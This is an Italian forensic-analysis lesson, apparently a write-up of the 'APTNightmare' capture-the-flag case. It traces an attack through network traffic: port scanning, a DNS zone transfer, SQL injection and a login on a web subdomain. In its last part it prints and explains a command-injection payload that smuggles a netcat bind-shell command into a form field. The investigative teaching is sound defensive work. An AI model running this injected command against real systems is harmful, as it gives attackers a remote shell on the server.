Subire un incidente informatico è come sprofondare in un incubo dal quale pare impossibile svegliarsi. Improvvisamente, i sistemi iniziano a mostrare anomalie, i client segnalano problemi di sicurezza, le mailbox si riempiono di mail sospette, ed infine tutte le informazioni che rappresentano il cuore pulsante dell’azienda, sono bloccate ed inaccessibili.
Nel contesto di questa lezione di “Forensic Analysis” presso l’Università di Perugia, vedremo come un’organizzazione può passare dall’essere perfettamente operativa al ritrovarsi con i server compromessi, le credenziali esposte e addirittura il proprio software legittimo trasformato in un veicolo di malware per i clienti.
APTNightmare riassume alla perfezione quello che un’azienda vive quando diventa bersaglio di un gruppo di cyber criminali determinati: un’escalation di eventi che sconvolge infrastrutture, processi e reputazione.
Bene, rispondete al telefono che squilla e disdite gli impegni, sarete ingaggiati per risolvere un grave Incidente Informatico!
Ovviamente il caso è adattato ai fini narrativi per veicolare i concetti tecnici. In casi reali di compromissione, specialmente se grave, l’Incident Response non si limita a un’analisi forense svolta da remoto. Al contrario, coinvolge un processo molto più articolato che comprende ad esempio:
- Valutazione dell’Impatto e Priorità: Mentre il team forense si occupa di raccogliere e analizzare gli artefatti, la direzione aziendale e il team IT gestisce la Business Continuity, cercando di mantenere operative le funzioni critiche dell’organizzazione.
- Confinamento e Contenimento: fase in cui si isolano i sistemi compromessi per impedire all’attacco di propagarsi ulteriormente.
- Remediation: Applicazione di patch, modifiche alle configurazioni, cambio password e quant’altro necessario per rimuovere o bloccare l’accesso malevolo.
- Ripristino: Una volta ridotta la minaccia, si agisce per ripristinare i servizi e i sistemi in modo sicuro.
- Lezioni apprese e Miglioramenti: Al termine si analizza l’intero processo, traendo insegnamenti e rinforzando le difese per il futuro.
Questo giusto per sottolineare che, benché in questa CTF ci concentriamo soprattutto sull’aspetto forense, nella realtà i diversi team (IT, legale, comunicazione, direzione, forense, etc.) agiscono in parallelo e con la massima tempestività, perché in un vero scenario di attacco ogni minuto di ritardo può comportare perdite ingenti o danni irreparabili.
Intro – “Chiamata alle Armi”:
Responsabile IT (RIT): «Salve… sono Marco Conti, Responsabile IT di CS Corp. Mi scusi se la chiamo a quest’ora, ma abbiamo un’emergenza: i nostri server sembrano essere stati compromessi.»
Noi: «Capisco, signor Conti. Può darmi qualche dettaglio in più?»
RIT: «Certo. Il nostro sistema di monitoraggio e i log di posta evidenziano un traffico insolito da un indirizzo IP interno verso host che non riconosciamo. Non solo: alcuni utenti hanno ricevuto file e allegati “strani”»
Noi: «Ha già un’idea di come l’attaccante sia entrato?» _
RIT: «Non ancora. Stavamo effettuando una migrazione verso Office 365»
Noi: «Capisco… Se mi inviate tutti gli artefatti, posso mettermi al lavoro e iniziare subito un’analisi forense approfondita.»
RIT: «Glieli mando all’istante. Per cortesia, faccia il possibile per scoprire come ci hanno colpito, quali dati potrebbero essere stati esfiltrati e soprattutto come fermare quest’incubo!»
Parte I – La Vittima e il Carnefice
Come prima cosa, scarichiamo il file da analizzare aptnightmare.zip. Il file è protetto da una password, che il nostro cliente ci ha fornito tramite chat criptata: hacktheblue .
Quindi estraiamo il contenuto utilizzando il comando:
unzip -P hacktheblue aptnightmare.zip
All’interno del .zip troviamo quattro file:
- DiskImage_CEO-US.zip
- Memory_WebServer.mem
- traffic.pcapng
- Ubuntu_5.3.0-70-generic_profile.zip
Cominciamo con l’analizzare il file traffic.pcapng Per questo scopo, utilizzeremo Wireshark, uno strumento di analisi di traffico di rete, ideale per esplorare file PCAP. L’idea è di identificare da quali Indirizzi IP scaturisce il maggior volume di traffico, per individuare quale potrebbero essere l’attaccante e la vittima.
Quindi digitiamo il comando:
wireshark traffic.pcapng
Esaminando il traffico HTTP filtrato, notiamo che due indirizzi IP interni compaiono costantemente: 192.168.1.3 e 192.168.1.5. Sono loro i principali protagonisti dello scambio di dati (si scambiano migliaia di pacchetti).
Questo suggerisce che uno dei due è il server bersaglio e l’altro è la macchina dell’attaccante. Per capire chi è il server web, osserviamo il senso delle comunicazioni HTTP: vediamo numerose richieste GET provenienti da 192.168.1.5 dirette a 192.168.1.3, con risposte dal .1.3
Ciò indica che 192.168.1.3 sta fornendo contenuti (rispondendo alle richieste) e quindi con alta probabilità è il server web infetto, mentre 192.168.1.5 è il client che invia le richieste, ossia l’IP dell’attaccante.
Parte II – Port Scan
Osservando il traffico tra 192.168.1.5 (attaccante) e 192.168.1.3 (server), notiamo molti pacchetti TCP con flag SYN inviati dall’attaccante seguiti da risposte dal server.
Questo indica un port scanning, probabilmente di tipo SYN scan (la modalità predefinita di nmap). In un SYN scan, l’attaccante invia un pacchetto TCP SYN a diverse porte del server: se la porta è aperta, il server risponde con SYN+ACK (acknowledgment), se è chiusa, il server risponde con un RST o non risponde affatto.
Possiamo usare il seguente filtro in WireShark
tcp.flags.syn == 1 && tcp.flags.ack == 1 && ip.src == 192.168.1.3 && ip.dst == 192.168.1.5
Questo mostra i pacchetti dove il server (192.168.1.3) risponde SYN+ACK all’attaccante, segnalando che quella porta sul server è aperta (ha accettato la richiesta di handshake).
Tale filtro non è però sufficiente in quanto mostra tutti i tentativi di connessione come una riga distinta, ogni pacchetto (o ritrasmissione) corrispondente a un SYN/ACK inviato dal server. Ciò che a noi interessa è capire quante porte sono state trovate aperte è il numero di porte uniche (cioè i port number) a cui il server ha risposto con SYN/ACK al primo handshake. In poche parole, dobbiamo eliminare le ripetizioni. Per farlo usiamo il comando:
tshark -r traffic.pcapng -Y "ip.src==192.168.1.3 && ip.dst==192.168.1.5 && tcp.flags.syn==1 && tcp.flags.ack==1" -T fields -e tcp.srcport | sort -un
- -r traffic.pcapng : carica il file PCAP/PCAPNG.
- -Y “…” è il filtro di visualizzazione (Wireshark Display Filter) che fa sì che tshark processi solo i pacchetti in cui:
-
- ip.src==192.168.1.3: il server è la sorgente (sta inviando il SYN/ACK).
- ip.dst==192.168.1.5: l’attaccante è la destinazione.
- tcp.flags.syn==1 && tcp.flags.ack==1: stiamo catturando solo i pacchetti che hanno entrambi i bit SYN e ACK impostati (le risposte di un handshake).
- -T fields -e tcp.srcport : fa sì che tshark stampi solo il campo “porta sorgente” (che, in questo scenario, è la porta del server scansionata).
- | sort -un : ordina i numeri di porta in modo univoco e crescente, scartando i duplicati.
L’output del comando ci restituisce 15 porte aperte.
In realtà esaminando i pacchetti relativi alla porta 5555 possiamo notare che la comunicazione non ha completato il normale handshake (probabilmente perché l’attaccante l’ha usata diversamente) o la comunicazione non è andata a buon fine).
Pertanto, escludiamo la porta 5555 dal conteggio degli effettivi servizi aperti enumerati durante la scansione l’attaccante ha trovato 14 porte aperte sul server.
Parte III – Trasferimento
Addentriamoci ulteriormente nell’enumerazione effettuata dall’attaccante e proviamo a filtrare quali richieste DNS l’attaccante ha effettuato, tramite il comando:
Immeditatamente notiamo delle richieste DNS di tipo AXFR,. AXFR è il codice per i trasferimenti di zona DNS (DNS Zone Transfer). Un DNS Zone Transfer è un meccanismo pensato per replicare le informazioni di un server DNS primario su un secondario, trasferendo l’intero file di zona (contenente tutti i record DNS, quindi tutti i sottodomini e relativi indirizzi). Questa operazione dovrebbe essere limitata ai soli server autorizzati; se è aperta a chiunque, costituisce una grave miss-configurazione.
L’attaccante ha quindi inviato una richiesta AXFR al server DNS dell’azienda e ha ottenuto indietro tutta la zona DNS contenente i sottodomini dell’organizzazione. Dall’analisi del pacchetto di risposta alla richiesta AXFR (trasferimento di zona) possiamo contare 9 sottodomini (cs-corp), adesso in possesso dell’attaccante.
Parte IV – Sottodominio Vittima
Dopo che l’attaccante ha ottenuto la lista dei sottodomini, è probabile che abbia concentrato i suoi sforzi su uno di essi.
Filtriamo in WireShark, come prima cosa, il traffico che prende in considerazione i due IP oggetto dell’analisi
ip.addr == 192.168.1.5 && ip.addr == 192.168.1.3
Andiamo sul menù: Statistics > Requests
Una delle prime richieste è proprio una SQL Injection ai danni del dominio sysmon.cs-corp.cd pagina /index.php parametro fbep= sysmon.cs-corp.cd
Possiamo quindi concludere di aver individuato il nostro sottodominio vittima: sysmon.cs-corp.cd
Parte V – Credenziali
Sappiamo quindi ora, dalle evidenze raccolte, che l’attaccante ha interagito con la pagina di login (index.php) sul sottodominio sysmon.cs-corp.cd.
Avendo individuato le richieste POST su index.php, possiamo esaminarle in dettaglio. In Wireshark, filtriamo il traffico HTTP verso sysmon.cs-corp.cd e osserviamo i codici di risposta: vediamo una serie di richieste POST con risposte di errore (codice 200 con messaggio di login fallito, o 302 che ridirige di nuovo al login).
http.host == "sysmon.cs-corp.cd"
Seguite finalmente da una richiesta POST che riceve un HTTP 302 Redirect verso dashboard.php
http.request.uri == "/dashboard.php"
E’ sufficiente seguire HTTP Stream:
Tasto Destro del mouse sulla Richiesta > Follow > http Stream
Parte VI – Initial Access
Torniamo al nostro PCAP e analizziamo le richieste successive al login. Abbiamo visto comparire dashboard.php.
Quindi riapplichiamo il filtro di WireShark precedentemente utilizzato:
http.request.uri == "/dashboard.php"
Ispezionando le richieste POST verso dashboard.php, in una di esse troviamo nel corpo qualcosa di sospetto: un pezzo di codice/testo che assomiglia a un comando shell concatenato.
Seguendo il flusso HTTP relativo, individuiamo che l’attaccante ha inviato un payload al server, subito dopo aver effettuato il login. Il payload in questione è:
host=%7Cmkfifo+%2Ftmp%2Fmypipe%3Bcat+%2Ftmp%2Fmypipe%7C%2Fbin%2Fbash%7Cnc+-l+-p+5555+%3E%2Ftmp%2Fmypipe
Anche se il payload codificato rivela già la Reverse Shell, possiamo ulteriormente decodificarlo, in maniera semplice, utilizzando CyberChef (https://gchq.github.io/CyberChef/ ) tramite la funzione “URL Decode”, ottenendo:
host=|mkfifo /tmp/mypipe;cat /tmp/mypipe|/bin/bash|nc -l -p 5555 >/tmp/mypipe
mkfifo /tmp/mypipe; – Crea un FIFO (named pipe) chiamato /tmp/mypipe. Un named pipe è un file speciale usato per comunicazione tra processi.
cat /tmp/mypipe | /bin/bash | nc -l -p 5555 > /tmp/mypipe – Questa parte concatena tre elementi tramite pipe:
- cat /tmp/mypipe rimane in ascolto leggendo dal pipe (si blocca in attesa di input).
- L’output di cat viene passato a /bin/bash, che lo esegue come comandi shell.
- L’output di Bash viene passato al comando nc (netcat) che ascolta sulla porta 5555 in modalità listener (-l -p 5555) e invia tutto ciò che riceve dalla pipe Bash al client che si connetterà.
- Infine, tutto ciò che arriva da netcat (cioè i comandi dell’attaccante) viene reindirizzato di nuovo nel pipe /tmp/mypipe, chiudendo il loop.
Possiamo concludere che questo comando ha fornito all’attaccante Initial Access sulla macchina, la sua shell.
